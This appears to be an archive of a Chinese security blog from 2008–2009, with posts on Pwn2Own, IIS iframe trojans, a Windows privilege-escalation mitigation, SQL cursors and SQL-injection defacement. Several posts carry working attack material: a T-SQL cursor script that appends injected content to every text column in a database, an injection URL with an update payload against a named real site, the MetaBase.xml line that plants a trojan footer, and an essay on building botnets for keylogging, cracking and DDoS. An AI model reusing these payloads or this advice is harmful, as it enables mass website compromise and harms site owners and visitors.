2009年3月21日星期六

Chrome only browser left standing after day one of Pwn2Own

Browser vendors often make strong claims about their responsiveness to vulnerability reports and their ability to preemptively prevent exploits. Security is becoming one of the most significant fronts in the new round of browser wars, but it's also arguably one of the hardest aspects of software to measure or quantify.

A recent contest at CanSecWest, an event that brings together some of the most skilled experts in the security community, has demonstrated that the three most popular browser are susceptible to security bugs despite the vigilance and engineering prowess of their creators.

Firefox, Safari, and Internet Explorer were all exploited during the Pwn2Own competition that took place at the conference. Google's Chrome browser, however, was the only one left standing—a victory that security researchers attribute to its innovative sandbox feature.

The contest awards security researchers with hardware and cash prizes for finding efficient ways to trick browsers into executing arbitrary code. During the first day of the competition, the contestants are required to do this in default browser installations without plugins such as Flash or Java, which are commonly used as vectors for attacks. Researchers typically prepare for the event far in advance by finding zero-day exploits ahead of time.

Early this month, prior champion Charlie Miller told reporters that he would be attempting to exploit a Safari vulnerability on Mac OS X. Safari, he said, would be the first to succumb to the contestants. As he promised, Safari went down first: he was able to execute his prepared hack in only a matter of seconds. Another security expert known only as Nils took longer, but was able to successfully exploit all three of the most popular browsers.

These contests contribute to the growing culture of commercialism that surrounds the art of exploitation. In an interview with ZDNet, Miller said that the vulnerability he used in the contest was one that he had originally found while preparing for the contest last year. Instead of disclosing it at that time, he decided to save it for the contest this year, because the contest only pays for one bug per year. This is part of his new philosophy, he says, which is that bugs shouldn't be disclosed to vendors for free.

"I never give up free bugs. I have a new campaign. It's called NO MORE FREE BUGS. Vulnerabilities have a market value so it makes no sense to work hard to find a bug, write an exploit and then give it away," Miller told ZDNet. "Apple pays people to do the same job so we know there's value to this work."

Miller also told reporters that he targeted Safari on Mac OS X because he believes that it is the easiest to exploit. Windows, on the other hand, he claims is tougher because of its address randomization feature and other security measures. As for Chrome, he says that he has identified a security bug in Google's browser but has been unable to exploit it because the browser's sandboxing feature and the operating system's security measures together pose a formidable challenge.
The game isn't over yet. During the second day of the event, the focus will turn towards Chrome. Nils, who demonstrated impressive skill during the first day by conquering the three most popular browsers, might have a few more tricks up his sleeve. According to the official rules, the participants will be permitted to use plugins during the second day.

PWN2OWN黑客大赛2009到底有哪些猛料?

2009年2月11日星期三

一种特殊的被挂Iframe木马的解决方法

(不是IIS映射修改,也不是ARP病毒,并且网页文件源代码里没有iframe代码的解决方法)

今天访问公司的一个网站,突然发现网页显示不对,右键查看HTML代码,发现iframe了一个网站的js文件,不用说,肯定被挂马了。

进入服务器,看了下文件源代码里并没有这个iframe的代码,但整个服务器的所有网站访问后代码里都自动加了这个iframe代码。

我第一反应会不会是IIS映射被修改了啊,查看了下



里面也没什么被修改的

突然我想起以前大学的时候,学校网站也出现过这个问题,是当时疯狂的ARP病毒引起的,就是不是本机有病毒,网络中有混杂模式的机子。于是我想建议装一个ARP防火墙。网络上搜了下,说也可能是IIS里WEB服务扩展引起的,于是我又看了下,发现没什么问题。

最后我突然发现一个地方,有异常,就是这里,让我暂时解决了这个问题(可能系统中有DLL或EXE文件病毒了,还要系统杀毒才行,服务器不是我管,我也只能干着急了。)

如下图:



启动文档页脚,这里附加了一个htm文件,我用文本文档打开c:\windows\system32\com\iis.htm,发现里面就是这个 iframe的代码,而且这个htm正常情况也是没有的,于是我把起用文档页脚去掉,把这个htm文件删了,问题就暂时解决了(因为可能系统还有病毒,所以算暂时解决吧)

网上很多人说自己服务器中了ARP病毒攻击,IIS尾巴之类的,如果都没能解决,请注意看下起用文档这个地方,希望对你有帮助。

以前也玩过一段时间马,不过好久没碰这些了,根据这个js文件,我找到了很多htm文件,都是病毒网站上的,我下载下来了,有空要好好分析分析,如果闲得慌,给他服务器扫描扫描,帮他服务器找找后门:)

------------------------------

刚刚看了下,原来做这种木马只需要在C:\WINDOWS\system32\inetsrv\MetaBase.xml插入一段代码就行了(C是系统盘),比如:

应用程序"
AppIsolated="2"
AppRoot="/LM/W3SVC/81120797/Root"
AuthFlags="AuthAnonymous | AuthNTLM"
DefaultDocFooter="FILE:C:\WINDOWS\system32\Com\aa.htm"

如上,在DefaultDocFooter="FILE:C:\WINDOWS\system32\Com\aa.htm"插入有木马的htm文件就行了,没什么难度,不过知道原理后,自己不要做破坏就行了。

2008年12月25日星期四

我是一个渗透手

我是一个渗透手


  作者:linzi  来源:Neeao's blog  题记:  有很多人不会明白我的想法,但希望我个人的技术理念能对一些人有帮助。把所学的东西上升为理论是为了更大限度的拓宽自已的思维,对于一个渗透者来说,思维 ...
  
  有很多人不会明白我的想法,但希望我个人的技术理念能对一些人有帮助。把所学的东西上升为理论是为了更大限度的拓宽自已的思维,对于一个渗透者来说,思维比0day要重要多了.渗透其实就是对已经掌握的各种技术加上自己的思维进行排列组合。
  假说哪一天google被人入侵了,入侵的技术就是注射,很多人会说,这个我也会,没什么了不起的.是没什么了不起的,但为什么别人能做到用注射搞进去,而你不行,这就是区别,虚心的去学习好的理念,好的想法,会比报怨,嫉妒会好很多。
  在这四年里面需要感谢的人很多,看到这个文章后,想对你说,谢谢!!祝你早点好起来,还有我的朋友们^_^!
  这本书里面的技术都是一些很老的技术,文章主要给那些需要的人.牛人略过^_^!
  正文:
  旁注攻击篇
  例子:
  渗透某IDC技术细节:
  www.idc.com是一个很大型的IDC.渗透经过很简单.
  ping www.idc.com
  Pinging www.idc.com [220.181.6.19] with 32 bytes of data:
  Reply from 220.181.6.19: bytes=32 time=4ms TTL=56
  Reply from 220.181.6.19: bytes=32 time=3ms TTL=56
  Reply from 220.181.6.19: bytes=32 time=3ms TTL=56
  Reply from 220.181.6.19: bytes=32 time=5ms TTL=56
  Ping statistics for 220.181.6.19:
  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
  Approximate round trip times in milli-seconds:
  Minimum = 3ms, Maximum = 5ms, Average = 3ms
  得到IP分析得到,该IP为网通线。
  一般来说,IDC都会给用户试用期,就国内来说,你通过试用,可以得到网通,电信,或双线的一个ftp,mssql,http等一些权限。
  去www.idc.com通过收集的资料,狂注册,一直注册到和主站同一IP的一个试用账号。
  得到mssql账号,backup database,直接得到一个shell
  好了例子结束.
  说明开始:
  一般来说,有经验的黑客他们通过这个例子联想到,搞一个虚拟空间的站。
  a.先定位其在哪个空间商注册.
  这个很好解决whois查看域名的dns,再google一下这个dns一般就确定是在哪里注册过的了.
  b.确定IP段以及类型,如网通,电线,双线等
  c.狂注册至分配到同一IP的一个测试账号,提权或直接backup shell.
  如果我们再跳出这个思维呢?OK,现在我们把这些例子上升为一个理论,也就是所谓的旁注攻击.
  =========================================================================
  什么是旁注攻击:
  利用与目标相关的人或事物为跳板,迂回式的渗透目标的一个入侵手法。
  当我们把这个上升为一个理念的时候,我们再来拓宽一下思路:
  先与我们传统的所谓的“旁注攻击”开始:
  A:查出同一个服务器所绑定的域名.通过渗透同一服务器的其它虚拟空间用户,再通过提权或配置不当等方式入侵目标。
  B:通过渗透ISP的方式,迂回式的渗透目标。
  OK,现在我们再拓宽一下思维:
  与目标相关的东西一般有哪些呢?
  我们可以定位为,与目标有关联的事物都可能被成功入侵的一个细节。
  我不要当肉鸡篇
  我平时找肉鸡都是结合google earth,先定位一下要找的地区,如北京,上海,
  HK,TW,KR,JP,USA,东南亚等.
  例子:
  我平时找肉鸡都是结合googleearth,先定位一下要找的地区,如北京,上海,HK,TW,KR,JP,USA,东南亚等.这个时候,再tracert一下就可以把每个地区的骨干网络的拓扑图给画出来,然后在google地图上玩填空游戏,再接着就开始找肉鸡之行.
  这样找出来的肉鸡绝对不会是很次的肉鸡,骨干网络上的肉鸡绝对是一流的,配置是另一回事,宽带绝对牛B.当你有了一大堆僵尸网络的时候,可以考虑搭建一个平台.有点类似于bots管理器.
  这个时候你的宏观思想就得用上场了.第三方程序,操作系统,版本,管理员用户名,数据库用户名等等.当你收集完这些信息之后就可以开始建立很多平台.
  杀毒平台:
  假设说,你现在要查你的马是否被杀,你可以很轻松的通过你的平台,找出装了KAV的有哪些机器,nod32的哪些,小红伞的哪些等等.这些就是所谓的病毒平台.
  调试平台:
  这个时候新马出来了,你可以很轻松的找到韩国,中文,日文,英文,2k,2k3,vista,xp等等肉鸡,马上就可以测试出,你的马在哪些环境是ok的,一般这个时候是在虚拟机调试完后才做这个,否则肉鸡会哗哗的丢,驱动蓝屏太严重了,比芙蓉JJ还恶心..
  “蜜罐”平台:
  这个时候你可以考虑选择性的给不同类型的机器中上键盘记录,很多时候会收获到很多的病毒样本,好用的tools,而且可以分析出,其它的黑客的渗透手法,很多时候,别人的手法比较高明多了,很值得学习.把自己的快乐建立在他人的郁闷上...
  分析平台:
  不同的地方,不同的操作系统,不同的管理员,不同类型的管理员的操作习惯等,这些你都可以通过技术手段得到分析报告.当你有了这些报告,渗透不同类型的站,你就可以很轻松的知道管理员会查哪些,怎么查,以及是否要改变平台的渗透习惯等.第三方软件的统计也是很有帮助的,你可以知道不同地区的管理员习惯,如韩国人喜欢用鸡蛋ftp,喜欢用ahnlab,不用winrar,他的密码习惯一般来韩文打成英文等.这些都是很有用的,如美国佬的pc机都喜欢用quicktime,服务器喜欢装symantec和卖咖啡的,韩国佬的密码长度一般是12位,中国人搞股票的人的密码习惯,搞IT的人的密码长度,规则等等...
  暴破平台:
  看看xmd5的模式就知道了,以肉鸡的形式来保存散列,这个时候,例如说,当你有很多肉鸡,你可以用来暴破winrar,winzip,office,md5,sha等等,这个要看水平了
  网上半成品工具,诸如:xdoor
  代理平台:
  sslvpn,sslproxy,vpn,等等,发挥你们的想像力吧....
  如果你的coding能力够的话,其实可以写出一个很cool的管理软件.你点一下北京,再点一下上海,再点一下韩国,再点一下米国,这个时候,程序就会自动化的计算出你手里的肉鸡应该先连接哪台,再连接哪台,然后再以google earth的形式,像电影式的给列出来,socool~~~~
  DDOS平台:
  靠,一看就是大坏蛋.....
  其它平台....
  发挥你们的想像力吧.....
  每次,当我打开googleearth的时候,朋友说,我眼睛都绿了,因为我总觉得哗啦啦的全是肉鸡,全是极品肉鸡,全是vpn.....

2008年12月10日星期三

MS Windows Token Kidnapping本地提权的解决方案

虽然是个前段时间的漏洞了,但是之前一直只关注漏洞的利用,而未关注具体的解决方案,今天无意中和用户聊天时提到的,用户让帮忙找个解决方案,网上搜索了下,在 刺 那里找的相关的说明,并在微软的找到了具体的解决办法。详细如下:

这个漏洞是由于在NetworkService 或者 LocalService 下运行的代码,可以访问同样是在 NetworkService 或者 LocalService 下运行的进程,某些进程允许提升权限为LocalSystem。

对于IIS,默认安装是不受影响的,受影响的是你的ASP.NET代码是以 Full Trust 运行,如果权限低于 Full Trust,也不会受影响。老的Asp 代码不受影响,只有 ASP.NET才受影响。

对于 SQL Server,如果用户以 administrative 权限运行代码,则会受影响

对于Windows Server 2003,攻击者可以通过MSDTC获取token访问其他同样token的进程,从而可能造成提权。

任何具有SeImpersonatePrivilege的进程都有可能造成提权。

对于服务器管理员来说,做一些简单的调整可以在IIS上对抗此威胁。

IIS 6.0 - Configure a Worker Process Identity (WPI) for an application pool in IIS to use a created account in IIS Manager and disable MSDTC
Perform the following steps:

1.n IIS Manager, expand the local computer, expand Application Pools, right-click the application pool and select Properties.

2.Click the Identity tab and click Configurable. In the User name and Password boxes, type the user name and password of the account under which you want the worker process to operate.

3. Add the chosen user account to the IIS_WPG group.

Disabling the Distributed Transaction Coordinator will help protect the affected system from attempts to exploit this vulnerability. To disable the Distributed Transaction Coordinator, perform these steps:

1.Click Start, and then click Control Panel. Alternatively, point to Settings, and then click Control Panel.

2.Double-click Administrative Tools. Alternatively, click Switch to Classic View and then double-click Administrative Tools.

3.Double-click Services.

4.Double-click Distributed Transaction Coordinator.

5.In the Startup type list, click Disabled.

6.Click Stop (if started), and then click OK.

You can also stop and disable the MSDTC service by using the following command at the command prompt:

sc stop MSDTC & sc config MSDTC start= disabled

Impact of Workaround: Managing the additional user accounts created in this workaround results in increased administrative overhead. Depending on the nature of applications running in this application pool, application functionality may be affected. An example is Windows Authentication; see Microsoft Knowledge Base Article 871179. Disabling MSDTC will prevent applications from using distributed transactions. Disabling MSDTC will prevent IIS 5.1 from running in Windows XP Professional Service Pack 2 and Windows XP Professional Service Pack 3, and IIS 6.0 running in IIS 5.0 compatibility mode. Disabling MSDTC will prevent configuration as well as running of COM+ applications.

相关链接:

http://hi.baidu.com/aullik5/blog/item/8f81d73e2ed471c47d1e7135.html

http://www.microsoft.com/technet/security/advisory/951306.mspx

2008年12月2日星期二

SQL游标的原理与遍历

SQL游标的原理与遍历


作者:熔岩
日期:2006-12-26
天气:大雾
声明:原创作品,未经授权,拒绝转载!

游标的原理

一般情况下,SQL查询结果都是多条纪录的结果集,而高级语言一次只能处理一条纪录,用游标机制,将多条纪录一次一条读取出来处理。从而把对集合的操作转化为对单个纪录的处理。游标使用的步骤如下:

1、说明游标。说明游标的时候并不执行select语句。
declare <游标名> cursor for ;

2、打开游标。打开游标实际上是执行相应的select语句,把查询结果读取到缓冲区中。这时候游标处于活动状态,指针指向查询结果集的第一条纪录。
open <游标名>;

3、推进游标指针并读取当前纪录。用fetch语句把游标指针向前推进一条纪录,同时将缓冲区中的当前纪录读取出来送到变量中。fetch语句通常用在一个循环结构体中,通过循环执行fetch语句逐条取出结果集中的行进行处理。现在好多数据库中,还允许任意方向任意步长易懂游标指针,而不仅仅是把游标指针向前推进一行了。
fetch <游标名> into <变量1>,<变量2>...

4、关闭游标。用close语句关闭游标,释放结果集占用的缓冲区及其他资源。游标关闭后,就不再和原来的查询结果集相联系。但游标可以再次打开,与新的查询结果相联系。
close <游标名>;

DB2游标的循环控制

DB2下游标控制不是非常的轻松和方便的,也可以使用sqlcode,sqlstate来控制,或者用户自己控制,DB2下SQLCODE,SQLSTATE不能直接使用,必须声明后使用,(也就是说将系统的SQLCODE,SQLSTATE本地实例化一分拷贝)。一般采用用户定义游标开关和sqlcode返回信息一起共同控制的方法.

最近比较流行的数据库挂马

作者:茄子宝

以前说过的趋势挂马事件,MS这个挂马方法已经流行了很久,从去年就大规模开始了,在网上可以搜到很多痕迹。

SQL语句如下:

用游标遍历所有表里如下数据类型的字段,然后UPDATE挂马。(全部是允许写入字符的字段)


xtype=99 ntext

xtype=35 text

xtype=231 nvarchar

xtype=167 varchar

———————YD的分割——————————–

DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
a.name,b.name
from sysobjects a,
syscolumns b
where a.id=b.id and
a.xtype=’u’ and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec(’update [’+@T+’] set [’+@C+’]=
rtrim(convert(varchar,[’+@C+’]))+
”挂马内容”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

———————YD的分割——————————–

对趋势科技等数万网站被攻击的分析

BY: rayh4c.cn
一. 首先在网上找到了这次攻击的新闻报道

http://www.nsfocus.net/news/6697

http://hi.baidu.com/secway/blog/item/e80d8efa4bf73ddab48f31a3.html

通过GOOGLE搜索到了相关被黑的页面

http://www.google.cn/search?hl=zh-CN&q=site%3Atrendmicro.com++www.2117966.net+fuckjp.js&btnG=Google+%E6%90%9C%E7%B4%A2&meta=&aq=f

趋势科技的页面被插入过http://www.2117966.net/fuckjp.js相关的JS挂马。



二. 直接查找这个JS相关的信息

http://www.google.cn/search?complete=1&hl=zh-CN&newwindow=1&q=www.2117966.net+fuckjp.js&meta=&aq=f

发现了12,500项符合的结果,这些返回的结果信息都是当前页面被插入了JS挂马。

通过分析发现被黑的页面都有如下特征:

1.被修改页面的网站都是ASP+MSSQL的架构。

2.被修改的页面都存在SQL注入漏洞。


三. 取了其中一个被挂马页面做了SQL注入挂马的模拟攻击:

1. http://www.wisard.org/wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp?person=5162

这个链接存在明显的SQL注入,对person参数注入语句having 1=1,将暴出当前页面注入点的表名为coordinator,字段名ShCoordinatorSurame。

http://www.wisard.org/wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp?person=5162 having 1=1

—————————
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘coordinator.ShCoordinatorSurame’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp, line 20
—————————-

2. 修改暴出的当前页面的表名,字段名内容为插入JS的代码来实现挂马

http://www.wisard.org/wisard/shared/asp/Generalpersoninfo/StrPersonOverview.asp?person=5162;update coordinator set ShCoordinatorSurame=’’ where 1=1––

修改coordinator 表 ShCoordinatorSurame 字段内容为,同时设一个1=1为真的逻辑条件就可以修改当前页面查询数据的内容.

就可以实现在有SQL注入点的页面直接挂马。


四.总结.

这次大规模攻击的流程应该是自动化的:

1.通过先进的扫描技术批量收集到几万网站的SQL注入漏洞。

2.针对漏洞攻击,进行自动化的SQL注入挂马。

现今虽然SQL注入漏洞已经很老了,但是这次黑客在一天内同时对数万网站攻击挂马的技术却是很惊人的,连趋势这样的安全公司也未能幸免。